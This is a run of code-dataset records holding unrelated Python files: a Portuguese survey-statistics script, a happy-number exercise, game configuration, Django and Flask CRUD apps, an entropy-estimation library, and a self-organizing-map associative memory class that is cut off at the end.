10].mean()\r\n\r\nhappyBrazil = wvs.loc[wvs[1] == 76, 10]\r\nhappyUS = wvs.loc[wvs[1] == 840, 10]\r\n\r\n# nao precisa colocar a media no scipy, ele já calcula só\r\nt, p1 = stats.ttest_ind(happyBrazil,\r\n happyUS,\r\n nan_policy = 'omit')\r\n\r\nprint(f'A estatística de teste foi {t}. \\n O p-valor foi {p1}.')\r\n\r\n\r\n\r\n# comparando se a importância de política tem relação com a importância que as\r\n# pessoas dão para a família\r\n\r\n#### seperando as variáveis de interesse: família, amigos, tempo livre,\r\n# política, trabalho e religião\r\n\r\n# família\r\nwvs[4].value_counts()\r\n\r\n# transformando categorias de NR em NaN\r\nwvs.loc[wvs[4] == -2, 4] =np.nan\r\nwvs.loc[wvs[4] == -5, 4] =np.nan\r\nwvs.loc[wvs[4] == -1, 4] =np.nan\r\n\r\nwvs[4].value_counts()\r\n\r\n# política\r\nwvs[7].value_counts()\r\n\r\nwvs.loc[wvs[7] == -2, 7] =np.nan\r\nwvs.loc[wvs[7] == -5, 7] =np.nan\r\nwvs.loc[wvs[7] == -1, 7] =np.nan\r\nwvs.loc[wvs[7] == -3, 7] =np.nan\r\n\r\nwvs[4].value_counts()\r\n\r\n# plotando o valor da família e da política\r\n\r\n#1) usando seaborn (família)\r\nsns.set(color_codes = True) # set serve para definir estilo do gráfico\r\nsns.countplot(x = wvs[4])\r\nplt.title('Valor dado à Família')\r\nplt.xlabel('Família')\r\nplt.ylabel('Frequência')\r\nplt.show()\r\n\r\n#2) usando o matplotlib CORRIGIR\r\n#plt.bar(x = wvs[4], height = True)\r\n#plt.title('Valor dado à Família')\r\n#plt.xlabel('Família')\r\n#plt.ylabel('Frequência')\r\n#plt.show()\r\n\r\n#3) usando pandas\r\nwvs[4].value_counts().plot(kind = 'bar')\r\nplt.show()\r\n\r\n# plotando para política\r\n\r\nsns.set(color_codes = True) # set serve para definir estilo do gráfico\r\nsns.countplot(x = wvs[7])\r\nplt.title('Valor dado à Política')\r\nplt.xlabel('Política')\r\nplt.ylabel('Frequência')\r\nplt.show()\r\n\r\n# testar se existe associção entre as duas. \r\n# A forma como uma pessoa pensa sobre política tem relação com a forma\r\n# como essa pessoa pensa sobre família\r\n\r\n# criar uma tabela cruzada\r\ntabela = pd.crosstab(wvs[4], wvs[7])\r\n\r\n# teste qui-quadrado para ver a relação de variáveis categóricas\r\n\r\nfrom scipy import stats\r\n\r\n# fiz um unpack para cada um dos resultados que ele retorna\r\nchi2, p, dof, expec = stats.chi2_contingency(tabela)\r\nprint(f'Chi-square: {chi2}')\r\nprint(f'P-value: {p}')\r\nprint(f'Degrees of Freedom: {dof}')\r\n\r\n###\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"wvs/aula_pyOO_5.py","file_name":"aula_pyOO_5.py","file_ext":"py","file_size_in_byte":3891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"242695882","text":"n=int(input(\"enter the numbers\"))\nsum=0\n\nwhile n>0:\n rem=n%10\n square=rem*rem\n sum+=square\n n=n//10\nif sum == 1:\n print(\"I is a Happy number\")\nelse:\n n=sum\n while sum>1:\n while n>0:\n rem=n%10\n square=rem*rem\n sum+=square\n n=n//10\n print(\"not a happy number\")\n \n \n","sub_path":"other code practice/happy numbers.py","file_name":"happy numbers.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"132240632","text":"import psmove\nimport colorsys\nimport time\nfrom enum import Enum\n\ncolor_range = 255\n\n#Human speeds[slow, mid, fast]\nSLOW_WARNING = [0.1, 0.15, 0.28]\nSLOW_MAX = [0.5, 0.8, 1]\nFAST_WARNING = [0.5, 0.6, 0.8]\nFAST_MAX = [1, 1.4, 1.8]\n\nWERE_SLOW_WARNING = [0.2, 0.3, 0.4]\nWERE_SLOW_MAX = [0.7, 0.9, 1.1]\nWERE_FAST_WARNING = [0.6, 0.7, 0.9]\nWERE_FAST_MAX = [1.1, 1.5, 2.0]\n\nZOMBIE_WARNING = [0.5, 0.6, 0.8]\nZOMBIE_MAX = [0.8, 1, 1.4]\n\ndef hsv2rgb(h, s, v):\n return tuple(int(color * color_range) for color in colorsys.hsv_to_rgb(h, s, v))\n\ndef generate_colors(color_num):\n Hue = [ ((num + 1.0)/color_num, 1, 1) for num in range(color_num) ]\n colors = [ hsv2rgb(*hsv_color) for hsv_color in Hue ]\n return colors\n\n\ndef get_move(serial, move_num):\n time.sleep(0.02)\n move = psmove.PSMove(move_num)\n time.sleep(0.05)\n if move.get_serial() != serial:\n for move_num in range(psmove.count_connected()):\n move = psmove.PSMove(move_num)\n if move.get_serial() == serial:\n return move\n return None\n else:\n return move\n\ndef lerp(a, b, p):\n return a*(1 - p) + b*p\n\ndef change_color(color_array, r, g, b):\n color_array[0] = r\n color_array[1] = g\n color_array[2] = b\n\nclass Games(Enum):\n JoustFFA = 0\n JoustTeams = 1\n JoustRandomTeams = 2\n Traitor = 3\n WereJoust = 4\n Zombies = 5\n Commander = 6\n Swapper = 7\n Tournament = 8\n Ninja = 9\n Random = 10\n\nminimum_players = {\n Games.JoustFFA.value: 2,\n Games.JoustTeams.value: 3,\n Games.JoustRandomTeams.value: 3,\n Games.Traitor.value: 6,\n Games.WereJoust.value: 3,\n Games.Zombies.value: 4,\n Games.Commander.value: 4,\n Games.Swapper.value: 3,\n Games.Tournament.value: 3,\n Games.Ninja.value: 2,\n Games.Random.value: 2\n}\n\ngame_mode_names = {\n Games.JoustFFA.value: 'Joust Free-for-All',\n Games.JoustTeams.value: 'Joust Teams',\n Games.JoustRandomTeams.value: 'Joust Random Teams',\n Games.Traitor.value: 'Traitors',\n Games.WereJoust.value: 'Werewolves',\n Games.Zombies.value: 'Zombies',\n Games.Commander.value: 'Commander',\n Games.Swapper.value: 'Swapper',\n Games.Tournament.value: 'Tournament',\n Games.Ninja.value: 'Ninja Bomb',\n Games.Random.value: 'Random'\n}\n\nclass Buttons(Enum):\n middle = 524288\n start = 2048\n select = 256\n circle = 32\n nothing = 0\n\nbattery_levels = {\n 0: \"Low\",\n 1: \"20%\",\n 2: \"40%\",\n 3: \"60%\",\n 4: \"80%\",\n 5: \"100%\",\n 238: \"Charging\",\n 239: \"Charged\"\n}","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"20095606","text":"from django.conf.urls import patterns, url\n\nfrom clients import views\n\nurlpatterns = patterns('',\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^new$', views.ClientCreate.as_view(), name='new'),\n url(r'^(?P<pk>\\d+)/$', views.DetailView.as_view(), name='detail'),\n url(r'^update/(?P<pk>\\d+)/$', views.ClientUpdate.as_view(), name='update'),\n)","sub_path":"clients/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"157300469","text":"# -*- coding: utf-8 -*-\n# Author: Simone Marsili <simomarsili@gmail.com>\n# License: BSD 3 clause\n\"\"\"\nFunctions for entropy and information measures estimation.\n\"\"\"\nimport logging\n\nimport numpy\n\nfrom ndd.estimators import Entropy, JSDivergence\nfrom ndd.exceptions import (CardinalityError, CombinationError, DataArrayError,\n EstimatorInputError, PmfError)\n\n__all__ = [\n 'entropy',\n 'from_data',\n 'jensen_shannon_divergence',\n 'kullback_leibler_divergence',\n 'interaction_information',\n 'coinformation',\n 'mutual_information',\n 'conditional_entropy',\n 'histogram',\n]\n\nlogger = logging.getLogger(__name__)\n\n\ndef entropy(pk, k=None, alpha=None, plugin=False, return_std=False):\n \"\"\"\n Entropy estimate from an array of counts.\n\n Return a Bayesian estimate for the entropy of an unknown discrete\n distribution from an input array of counts pk.\n\n Parameters\n ----------\n pk : array-like\n The number of occurrences of a set of bins.\n k : int or array-like, optional\n Total number of bins (including unobserved bins); k >= len(pk).\n A float is a valid input for whole numbers (e.g. k=1.e3).\n If an array, set k = numpy.prod(k). Defaults to len(pk).\n alpha : float, optional\n If not None: Wolpert-Wolf entropy estimator (fixed alpha).\n Use a single Dirichlet prior with concentration parameter alpha.\n alpha > 0.0.\n plugin : boolean, optional\n If True, return a 'plugin' estimate of the entropy. The discrete\n distribution is estimated from the empirical frequencies over bins\n and inserted into the entropy definition (plugin estimator).\n If alpha is passed in combination with plugin=True, add\n alpha pseudocounts to each frequency count (pseudocount estimator).\n return_std : boolean, optional\n If True, also return an approximation for the standard deviation\n over the entropy posterior.\n\n Returns\n -------\n entropy : float\n Entropy estimate.\n std : float, optional\n Uncertainty in the entropy estimate. Only if `return_std` is True.\n\n \"\"\"\n\n # pk is an array of counts\n estimator = Entropy(alpha, plugin).fit(pk, k)\n S, err = estimator.estimate_, estimator.err_\n\n if numpy.isnan(S):\n logger.warning('nan value for entropy estimate')\n S = numpy.nan\n\n if return_std:\n if err is not None and numpy.isnan(err):\n err = numpy.nan\n logger.warning('nan value for entropy posterior std deviation')\n return S, err\n\n return S\n\n\ndef from_data(ar, ks=None, axis=1, r=None):\n \"\"\"\n Entropy estimate from data matrix.\n\n Paramaters\n ----------\n ar : array-like, shape (p, n)\n 2D array of n samples from p discrete variables.\n ks : int or 1D array of length p, optional\n Alphabet size for each variable.\n axis : int, optional\n The sample-indexing axis. Defaults to 1.\n r : int, optional; ; 1<=r<=p.\n If passed, return a generator yielding estimates for the p-choose-r\n possible combinations of r variables.\n\n Returns\n -------\n float\n Entropy estimate\n\n \"\"\"\n from itertools import combinations\n\n # check data shape\n ar = _check_data(ar, axis)\n\n # EntropyBasedEstimator objects are callable and return the fitted estimate\n estimator = Entropy()\n\n ks = _check_ks(ks, ar)\n\n if r is not None:\n if ks.ndim == 0:\n raise CardinalityError('For combinations, ks cant be a scalar')\n r = _check_r(r, ar)\n\n counts_combinations = histogram(ar, r=r)\n alphabet_size_combinations = (numpy.prod(x)\n for x in combinations(ks, r=r))\n return (\n estimator(*args)\n for args in zip(counts_combinations, alphabet_size_combinations))\n\n counts = histogram(ar)\n return estimator(counts, k=ks)\n\n\ndef jensen_shannon_divergence(pk, k=None, alpha=None, plugin=False):\n \"\"\"\n Return the Jensen-Shannon divergence from a m-by-p matrix of counts.\n\n Return an estimate of the Jensen-Shannon divergence between\n m unknown discrete distributions from a m-by-p input array of counts.\n The estimate (in nats) is computed as a combination of single Bayesian\n entropy estimates. If the total number of samples varies among the\n distributions, the function returns a weighted divergence with weights\n proportional to the total number of samples in each row\n (see the general definition of Jensen-Shannon divergence:\n https://en.wikipedia.org/wiki/Jensen-Shannon_divergence).\n\n Parameters\n ----------\n\n pk : array-like, shape (m, p)\n Matrix of frequency counts. Each row corresponds to the number of\n occurrences of a set of bins from a different distribution.\n k : int or array-like, optional\n Total number of bins (including unobserved bins); k >= p.\n A float is a valid input for whole numbers (e.g. k=1.e3).\n If an array, set k = numpy.prod(k). Defaults to p.\n alpha : float, optional\n If not None: Wolpert-Wolf entropy estimator (fixed alpha).\n Use a single Dirichlet prior with concentration parameter alpha.\n alpha > 0.0.\n plugin : boolean, optional\n If True, use a 'plugin' estimator for the entropy.\n If alpha is passed in combination with plugin == True, add alpha\n pseudoconts to the frequency counts in the plugin estimate.\n\n Returns\n -------\n float\n Jensen-Shannon divergence.\n\n \"\"\"\n\n estimator = JSDivergence(alpha, plugin).fit(pk, k)\n js = estimator.estimate_\n\n if numpy.isnan(js):\n logger.warning('nan value for JS divergence')\n js = numpy.nan\n\n return js\n\n\ndef kullback_leibler_divergence(pk, qk, k=None, alpha=None, plugin=False):\n \"\"\"\n Kullback-Leibler divergence given counts pk and a reference PMF qk.\n\n Return an estimate of the Kullback-Leibler given an array of counts pk and\n a reference PMF qk. The estimate (in nats) is computed as:\n - S_p - sum(pk * log(qk)) / sum(pk)\n where S_p is the entropy estimate from counts pk.\n\n Parameters\n ----------\n pk : array_like\n The number of occurrences of a set of bins.\n qk : array_like\n Reference PMF in sum(pk log(pk/qk). len(qk) = len(pk).\n Must be a valid PMF (non-negative, normalized).\n k : int or array-like, optional\n Total number of bins (including unobserved bins); k >= p.\n A float is a valid input for whole numbers (e.g. k=1.e3).\n If an array, set k = numpy.prod(k). Defaults to len(pk).\n alpha : float, optional\n If not None: Wolpert-Wolf entropy estimator (fixed alpha).\n Use a single Dirichlet prior with concentration parameter alpha.\n alpha > 0.0.\n plugin : boolean, optional\n If True, use a 'plugin' estimator for the entropy.\n If alpha is passed in combination with plugin == True, add alpha\n pseudoconts to the frequency counts in the plugin estimate.\n\n Returns\n -------\n float\n Kullback-Leibler divergence.\n\n \"\"\"\n\n if is_pmf(qk):\n log_qk = numpy.log(qk)\n else:\n raise PmfError('qk must be a valid PMF')\n\n if len(log_qk) != len(pk):\n raise PmfError('qk and pk must have the same length.')\n\n if k == 1: # single bin\n kl = 0.0\n else:\n estimator = Entropy(alpha, plugin).fit(pk, k)\n kl = -estimator.estimate_ - numpy.sum(pk * log_qk) / float(sum(pk))\n if numpy.isnan(kl):\n logger.warning('nan value for KL divergence')\n kl = numpy.nan\n\n return kl\n\n\ndef interaction_information(ar, ks=None, axis=1, r=None):\n \"\"\"Interaction information from data matrix.\n\n See Eq.10 in:\n Timme, Nicholas, et al.\n \"Synergy, redundancy, and multivariate information measures:\n an experimentalist's perspective.\"\n Journal of computational neuroscience 36.2 (2014): 119-140.\n\n Paramaters\n ----------\n ar : array-like\n p-by-n array of n samples from p discrete variables.\n ks : 1D array of length p, optional\n Alphabet size for each variable.\n axis : int, optional\n The sample-indexing axis\n r : int, optional; 1<=r<=p.\n If passed, return a generator yielding estimates for the p-choose-r\n possible combinations of r variables.\n Combinations are ordered as: list(itertools.combinations(range(p), r)).\n\n Returns\n -------\n float\n Interaction information estimate.\n\n Raises\n ------\n CardinalityError\n If len(ks) != p.\n\n \"\"\"\n from itertools import combinations\n\n # check data shape\n ar = _check_data(ar, axis)\n\n ks = _check_ks(ks, ar)\n if ks.ndim == 0:\n raise CardinalityError('ks cant be a scalar')\n\n if r is not None:\n r = _check_r(r, ar)\n\n data_combinations = combinations(ar, r=r)\n alphabet_size_combinations = (x for x in combinations(ks, r=r))\n return (iinfo(*args)\n for args in zip(data_combinations, alphabet_size_combinations))\n\n return iinfo(ar, ks)\n\n\ndef coinformation(ar, ks=None, r=None):\n \"\"\"Coinformation from data matrix.\n\n See Eq.11 in:\n Timme, Nicholas, et al.\n \"Synergy, redundancy, and multivariate information measures:\n an experimentalist's perspective.\"\n Journal of computational neuroscience 36.2 (2014): 119-140.\n\n The coinformation reduces to the entropy for a single variable and to the\n mutual information for a pair of variables.\n\n Paramaters\n ----------\n ar : array-like\n p-by-n array of n samples from p discrete variables.\n ks : 1D array of length p, optional\n Alphabet size for each variable.\n r : int or None, optional; 1<=r<=p.\n If passed, return a generator yielding estimates for the p-choose-r\n possible combinations of r variables.\n If r == 1, return the entropy for each variable. If r == 2 return the\n mutual information for each possible pair. If r > 2 return the\n coinformation for each possible subset of length r.\n Combinations are ordered as: list(itertools.combinations(range(p), r)).\n\n Returns\n -------\n float\n Coinformation estimate.\n\n \"\"\"\n\n # change sign for odd number of variables\n return (-1)**ar.shape[0] * interaction_information(ar=ar, ks=ks, r=r)\n\n\ndef mutual_information(ar, ks=None, axis=1):\n \"\"\"Mutual information from p-by-n data matrix.\n\n If p > 2, return an estimate of the mutual information for each possible\n pair of variables, ordered as list(itertools.combinations(range(p), r=2)).\n\n Paramaters\n ----------\n ar : array-like\n p-by-n array of n samples from p discrete variables.\n ks : 1D p-dimensional array, optional\n Alphabet size for each variable.\n axis : int, optional\n The sample-indexing axis\n\n Returns\n -------\n float\n Coinformation estimate.\n\n Raises\n ------\n CardinalityError\n If len(ks) != p.\n\n \"\"\"\n\n from itertools import combinations\n\n # check data shape\n ar = _check_data(ar, axis)\n\n p = ar.shape[0]\n\n ks = _check_ks(ks, ar)\n if ks.ndim == 0:\n raise CardinalityError('ks cant be a scalar')\n\n if p > 2:\n h1 = list(from_data(ar, ks=ks, r=1))\n return (h1[i1] + h1[i2] - from_data(ar[[i1, i2]], ks=ks[[i1, i2]])\n for i1, i2 in combinations(range(p), 2))\n\n return numpy.sum(from_data(ar, ks=ks, r=1)) - from_data(ar, ks=ks)\n\n\ndef conditional_entropy(ar, c, ks=None, axis=1, r=None):\n \"\"\"\n Coditional entropy estimate from data matrix.\n\n Paramaters\n ----------\n ar : array-like\n p-by-n array of n samples from p discrete variables.\n c : int or array-like\n The variables on which entropy is conditioned (as column indices).\n ks : 1D p-dimensional array, optional\n Alphabet size for each variable.\n axis : int, optional\n The sample-indexing axis\n r : int or None, optional; 1<=r<=p-len(c).\n If passed, return a generator yielding estimates for all possible\n combinations of r variables conditioning on the `c` variables.\n Indices are sorted as:\n list(x for x in collections.combinations(range(p), r=r+len(c))\n if set(c) <= set(x))\n\n Returns\n -------\n float\n Conditional entropy estimate\n\n \"\"\"\n from itertools import combinations\n\n # check data shape\n ar = _check_data(ar, axis)\n\n p = ar.shape[0]\n\n try:\n c = list(c)\n except TypeError:\n c = [c]\n if not set(c) <= set(range(p)):\n return EstimatorInputError('The indices of conditioning variables'\n ' are not valid')\n\n ks = _check_ks(ks, ar)\n\n # EntropyBasedEstimator objects are callable and return the fitted estimate\n estimator = Entropy()\n\n # Entropy of features on which we are conditioning\n counts = histogram(ar[c])\n hc = estimator(counts, k=ks)\n\n if r is not None:\n if ks.ndim == 0:\n raise CardinalityError('For combinations, ks cant be a scalar')\n\n r = _check_r(r, p - len(c))\n\n # include the c variables in the set\n r = r + len(c)\n\n indices = combinations(range(p), r=r)\n counts_combinations = histogram(ar, r=r)\n alphabet_size_combinations = (numpy.prod(x)\n for x in combinations(ks, r=r))\n return (estimator(*args) - hc for ids, *args in zip(\n indices, counts_combinations, alphabet_size_combinations)\n if set(c) <= set(ids))\n\n counts = histogram(ar)\n return estimator(counts, k=ks) - hc\n\n\ndef _nbins(data):\n \"\"\"\n The number of unique elements along axis 0. If data is p-dimensional,\n the num. of unique elements for each variable.\n \"\"\"\n # reshape as a p-by-n array\n return [len(numpy.unique(v)) for v in data]\n\n\ndef histogram(data, axis=1, r=None):\n \"\"\"Compute an histogram from a data matrix. Wrapper to numpy.unique.\n\n Parameters\n ----------\n data : array-like, shape (p, n)\n A p-by-n array of n samples from p variables.\n axis : int, optional\n The sample-indexing axis. Defaults to 1.\n r : int, optional\n For r values in the interval [1, p],\n return a generator yielding bin counts for each of the p-choose-r\n combinations of r variables.\n\n Returns\n -------\n counts : ndarray\n Bin counts.\n\n \"\"\"\n from itertools import combinations\n\n # check data shape\n data = _check_data(data, axis)\n\n if r is not None:\n r = _check_r(r, data)\n return (histogram(d) for d in combinations(data, r=r))\n\n # statistics for the p-dimensional variable\n _, counts = numpy.unique(data, return_counts=True, axis=1)\n return counts\n\n\ndef _check_data(ar, axis):\n \"\"\"Check that input arrays are non-empty 2D arrays.\"\"\"\n\n ar = numpy.atleast_2d(ar)\n if ar.ndim > 2:\n raise DataArrayError('Input array has %s dimensions; must be 2D' %\n ar.ndim)\n p, n = ar.shape\n if n == 0 or p == 0:\n raise DataArrayError('Empty input array')\n\n if axis == 0:\n ar = ar.T\n\n return ar\n\n\ndef _check_r(r, ar):\n \"\"\"\n Raises\n ------\n CombinationError\n For r values out of the interval [1, p].\n \"\"\"\n if ar.shape:\n p = ar.shape[0]\n else:\n p = ar\n if r < 1 or r > p:\n raise CombinationError('r values must be in the interval [1, %s]' % p)\n return r\n\n\ndef _check_ks(ks, ar):\n \"\"\"\n Raises\n ------\n CardinalityError\n If ks is array-like and len(ks) != p.\n \"\"\"\n\n if ks is None:\n # guess from data\n ks = numpy.array([len(numpy.unique(v)) for v in ar])\n else:\n try:\n ks = numpy.float64(ks)\n except ValueError:\n raise CardinalityError('%s: not a valid cardinality')\n if ks.ndim:\n p = ar.shape[0]\n if len(ks) != p:\n raise CardinalityError('k should have len %s' % p)\n return ks\n\n\ndef iinfo(X, ks):\n \"\"\"Helper function for interaction information definition.\n\n Ref: timme2014synergy\n \"\"\"\n info = 0.0\n S = len(X)\n for T in range(1, S + 1):\n sgn = (-1)**(S - T)\n info += sgn * numpy.sum(from_data(X, ks=ks, r=T))\n return -info\n\n\ndef coinfo(X, ks):\n \"\"\"Helper function for coinformation definition.\n\n Ref: timme2014synergy\n \"\"\"\n info = 0.0\n S = len(X)\n for T in range(1, S + 1):\n sgn = (-1)**T\n info += sgn * numpy.sum(from_data(X, ks=ks, r=T))\n return -info\n\n\ndef is_pmf(a):\n \"\"\"If a is a valid probability mass function.\"\"\"\n a = numpy.float64(a)\n not_negative = numpy.all(a >= 0)\n normalized = numpy.isclose(sum(a), 1.0)\n return not_negative and normalized\n","sub_path":"ndd/nsb.py","file_name":"nsb.py","file_ext":"py","file_size_in_byte":16856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"508311417","text":"from flask import Flask, render_template, request, redirect\n\nfrom LecturebotDAL.repository import Repository, UnitOfWork, ServiceLocator\nfrom LecturebotDAL.models import Role, User, Lecture, UserHasResources, Resource, Component, Attribute\nfrom LecturebotDAL.dbcontext import *\n\nfrom LecturebotAPI.forms import RoleForm, LectureForm, ResourceForm, RoleEditForm, LectureEditForm, ResourceEditForm\n\napp = Flask(__name__)\napp.secret_key = 'development key'\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('navigation.html')\n\n\n@app.route('/role', methods=['GET', 'POST'])\ndef list_roles():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n roles = repository.get_all(Role.Role)\n form = RoleForm.RoleForm(request.form)\n\n if request.method == 'POST':\n new_role = Role.Role(name=form.Name.data, priority=form.Priority.data)\n repository.create(new_role)\n unit_of_work.commit()\n return redirect('/role')\n\n return render_template('role.html', roles=roles, form=form)\n\n\n@app.route('/role/delete/<identity>', methods=['GET'])\ndef delete_role(identity):\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n repository.drop(Role.Role, identity, True)\n unit_of_work.commit()\n return redirect('/role')\n\n\n@app.route('/role/edit/<identity>', methods=['GET'])\ndef edit_role(identity):\n form = RoleEditForm.RoleEditForm()\n form.id.data = identity\n return render_template('roleedit.html', identity=identity, form=form)\n\n\n@app.route('/roleedit', methods=['POST'])\ndef save_changes_role():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n form = RoleEditForm.RoleEditForm(request.form)\n\n new_role = Role.Role(name=form.Name.data, priority=form.Priority.data)\n new_role.Id = form.id.data\n\n repository.update(Role.Role, new_role, form.id.data, True)\n unit_of_work.commit()\n return redirect('/role')\n\n\n@app.route('/user', methods=['GET'])\ndef list_users():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n users = repository.get_all(User.User)\n\n return render_template('user.html', users=users)\n\n\n@app.route('/lecture', methods=['GET', 'POST'])\ndef list_lectures():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n lectures = repository.get_all(Lecture.Lecture)\n form = LectureForm.LectureForm(request.form)\n\n if request.method == 'POST':\n new_lecture = Lecture.Lecture(header=form.Header.data, content=form.Content.data, userlogin=form.Owner.data)\n repository.create(new_lecture)\n unit_of_work.commit()\n return redirect('/lecture')\n\n return render_template('lecture.html', lectures=lectures, form=form)\n\n\n@app.route('/lecture/delete/<identity>', methods=['GET'])\ndef delete_lecture(identity):\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n repository.drop(Lecture.Lecture, identity, True)\n unit_of_work.commit()\n return redirect('/lecture')\n\n\n@app.route('/lecture/edit/<identity>', methods=['GET'])\ndef edit_lecture(identity):\n form = LectureEditForm.LectureEditForm()\n form.id.data = identity\n return render_template('lectureedit.html', identity=identity, form=form)\n\n\n@app.route('/lectureedit', methods=['POST'])\ndef save_changes_lecture():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n form = LectureEditForm.LectureEditForm(request.form)\n\n new_lecture = Lecture.Lecture(header=form.Header.data, content=form.Content.data, userlogin=form.Owner.data)\n new_lecture.Id = form.id.data\n\n repository.update(Lecture.Lecture, new_lecture, form.id.data, True)\n unit_of_work.commit()\n return redirect('/lecture')\n\n\n@app.route('/userhasresources', methods=['GET'])\ndef list_resources_of_user():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n resources_of_user = repository.get_all(UserHasResources.UserHasResources)\n\n return render_template('userhasresource.html', usersresources=resources_of_user)\n\n\n@app.route('/resource', methods=['GET', 'POST'])\ndef list_resources():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n resources = repository.get_all(Resource.Resource)\n form = ResourceForm.ResourceForm(request.form)\n\n if request.method == 'POST':\n new_resource = Resource.Resource(url=form.URL.data, description=form.Description.data)\n repository.create(new_resource)\n unit_of_work.commit()\n return redirect('/resource')\n\n return render_template('resource.html', resources=resources, form=form)\n\n\n@app.route('/resource/delete/(<url>)', methods=['GET'])\ndef delete_resource(url):\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n repository.drop(Resource.Resource, url, False)\n unit_of_work.commit()\n return redirect('/lecture')\n\n\n@app.route('/resource/edit/(<url>)', methods=['GET'])\ndef edit_resource(url):\n form = LectureEditForm.LectureEditForm()\n form.id.data = url\n return render_template('lectureedit.html', identity=url, form=form)\n\n\n@app.route('/resourceedit', methods=['POST'])\ndef save_changes_resource():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n unit_of_work = UnitOfWork.UnitOfWork(session, ModelBase)\n form = ResourceEditForm.ResourceEditForm(request.form)\n\n new_resource = Resource.Resource(url=form.id.data, description=form.Description.data)\n\n repository.update(Resource.Resource, new_resource, form.id.data, False)\n unit_of_work.commit()\n return redirect('/resource')\n\n\n@app.route('/component', methods=['GET'])\ndef list_components():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n components = repository.get_all(Component.Component)\n\n return render_template('component.html', components=components)\n\n\n@app.route('/attribute', methods=['GET'])\ndef list_attributes():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n attributes = repository.get_all(Attribute.Attribute)\n\n return render_template('attribute.html', attributes=attributes)\n\n\n@app.route('/dashboard', methods=['GET'])\ndef dashboard():\n repository = Repository.Repository(session, ModelBase, DBEngine)\n resources = repository.get_all(Resource.Resource)\n\n repository = ServiceLocator.ServiceLocator(session, ModelBase, DBEngine)\n res_count = repository.get_count_of_resources_of_user().fetchall()\n\n urls = [str(resource.URL) for resource in resources]\n times = [int(resource.TimesVisited) for resource in resources]\n\n res = [str(resC[0]) for resC in res_count]\n count = [int(resC[1]) for resC in res_count]\n\n return render_template('dashboard.html', x1=urls, y1=times, x2=res, y2=count)\n","sub_path":"Laboratory2/src/LecturebotAPI/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"138807976","text":"\nimport numpy as np\nfrom .gsom import GSOM\nfrom .hebbian import Hebbian, FakeHebbian\nfrom .math_functions import distance, gaussian_field\n\nclass AssociativeMemory:\n\n def __init__(self, map_size=(10, 10), map_expanding=True, use_hebbian=True):\n self._map1 = GSOM(size=map_size, expanding=map_expanding)\n self._map2 = GSOM(size=map_size, expanding=map_expanding)\n\n self._hebbian = FakeHebbian()\n if use_hebbian:\n self._hebbian = Hebbian(\n size1=self._map1.size,\n size2=self._map2.size\n )\n\n @property\n def size1(self):\n return self._map1.size\n\n @property\n def size2(self):\n return self._map2.size\n\n @property\n def learning_rate(self):\n return 0.5 * (self._map1.learning_rate + self._map2.learning_rate)\n\n @learning_rate.setter\n def learning_rate(self, value):\n self._map1.learning_rate = value\n self._map2.learning_rate = value\n\n @property\n def neighborhood_update(self):\n return 0.5 * (self._map1.neighborhood_update\n + self._map2.neighborhood_update)\n\n @neighborhood_update.setter\n def neighborhood_update(self, value):\n self._map1.neighborhood_update = value\n self._map2.neighborhood_update = value\n\n @property\n def neighborhood_insert(self):\n return 0.5 * (self._map1.neighborhood_insert\n + self._map2.neighborhood_insert)\n\n @neighborhood_insert.setter\n def neighborhood_insert(self, value):\n self._map1.neighborhood_insert = value\n self._map2.neighborhood_insert = value\n\n def train(self, stimulus1, stimulus2):\n # Train the two GSOMs with the two stimuli.\n bmu1, direction1 = self._map1.train(stimulus1)\n bmu2, direction2 = self._map2.train(stimulus2)\n\n # Expand the hebbian connections if necessary.\n direction1 is not None and self._hebbian.expand(bmu1, direction1, index=1)\n direction2 is not None and self._hebbian.expand(bmu2, direction2, index=2)\n\n # Train the hebbian connections.\n w1, h1 = self._map1.size\n w2, h2 = self._map2.size\n activation1 = gaussian_field(w1, h1, 1, bmu1, 0.5).reshape((w1, h1))\n activation2 = gaussian_field(w2, h2, 1, bmu2, 0.5).reshape((w2, h2))\n self._hebbian.train(activation1, activation2)\n\n def activate(self, input_stimulus, input_index):\n input_map, output_map = self._get_maps(input_index)\n\n if isinstance(self._hebbian, FakeHebbian):\n return 